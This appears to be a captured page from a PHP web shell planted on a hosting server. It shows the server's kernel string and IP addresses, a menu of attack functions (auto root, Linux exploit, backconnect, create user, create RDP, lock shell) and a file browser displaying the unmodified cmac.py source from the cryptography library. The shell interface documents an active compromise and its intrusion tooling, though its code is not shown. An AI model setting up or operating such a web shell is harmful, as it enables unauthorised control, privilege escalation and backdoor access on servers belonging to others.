Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.147.46.181
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
cryptography /
hazmat /
backends /
openssl /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
305
B
-rw-r--r--
aead.py
15.59
KB
-rw-r--r--
backend.py
71.51
KB
-rw-r--r--
ciphers.py
10.12
KB
-rw-r--r--
cmac.py
2.96
KB
-rw-r--r--
decode_asn1.py
1.12
KB
-rw-r--r--
ec.py
11.21
KB
-rw-r--r--
rsa.py
21.31
KB
-rw-r--r--
utils.py
2.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cmac.py
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import annotations import typing from cryptography.exceptions import ( InvalidSignature, UnsupportedAlgorithm, _Reasons, ) from cryptography.hazmat.primitives import constant_time from cryptography.hazmat.primitives.ciphers.modes import CBC if typing.TYPE_CHECKING: from cryptography.hazmat.backends.openssl.backend import Backend from cryptography.hazmat.primitives import ciphers class _CMACContext: def __init__( self, backend: Backend, algorithm: ciphers.BlockCipherAlgorithm, ctx=None, ) -> None: if not backend.cmac_algorithm_supported(algorithm): raise UnsupportedAlgorithm( "This backend does not support CMAC.", _Reasons.UNSUPPORTED_CIPHER, ) self._backend = backend self._key = algorithm.key self._algorithm = algorithm self._output_length = algorithm.block_size // 8 if ctx is None: registry = self._backend._cipher_registry adapter = registry[type(algorithm), CBC] evp_cipher = adapter(self._backend, algorithm, CBC) ctx = self._backend._lib.CMAC_CTX_new() self._backend.openssl_assert(ctx != self._backend._ffi.NULL) ctx = self._backend._ffi.gc(ctx, self._backend._lib.CMAC_CTX_free) key_ptr = self._backend._ffi.from_buffer(self._key) res = self._backend._lib.CMAC_Init( ctx, key_ptr, len(self._key), evp_cipher, self._backend._ffi.NULL, ) self._backend.openssl_assert(res == 1) self._ctx = ctx def update(self, data: bytes) -> None: res = self._backend._lib.CMAC_Update(self._ctx, data, len(data)) self._backend.openssl_assert(res == 1) def finalize(self) -> bytes: buf = self._backend._ffi.new("unsigned char[]", self._output_length) length = self._backend._ffi.new("size_t *", self._output_length) res = self._backend._lib.CMAC_Final(self._ctx, buf, length) self._backend.openssl_assert(res == 1) self._ctx = None return self._backend._ffi.buffer(buf)[:] def copy(self) -> _CMACContext: copied_ctx = self._backend._lib.CMAC_CTX_new() copied_ctx = self._backend._ffi.gc( copied_ctx, self._backend._lib.CMAC_CTX_free ) res = self._backend._lib.CMAC_CTX_copy(copied_ctx, self._ctx) self._backend.openssl_assert(res == 1) return _CMACContext(self._backend, self._algorithm, ctx=copied_ctx) def verify(self, signature: bytes) -> None: digest = self.finalize() if not constant_time.bytes_eq(digest, signature): raise InvalidSignature("Signature did not match digest.")
Close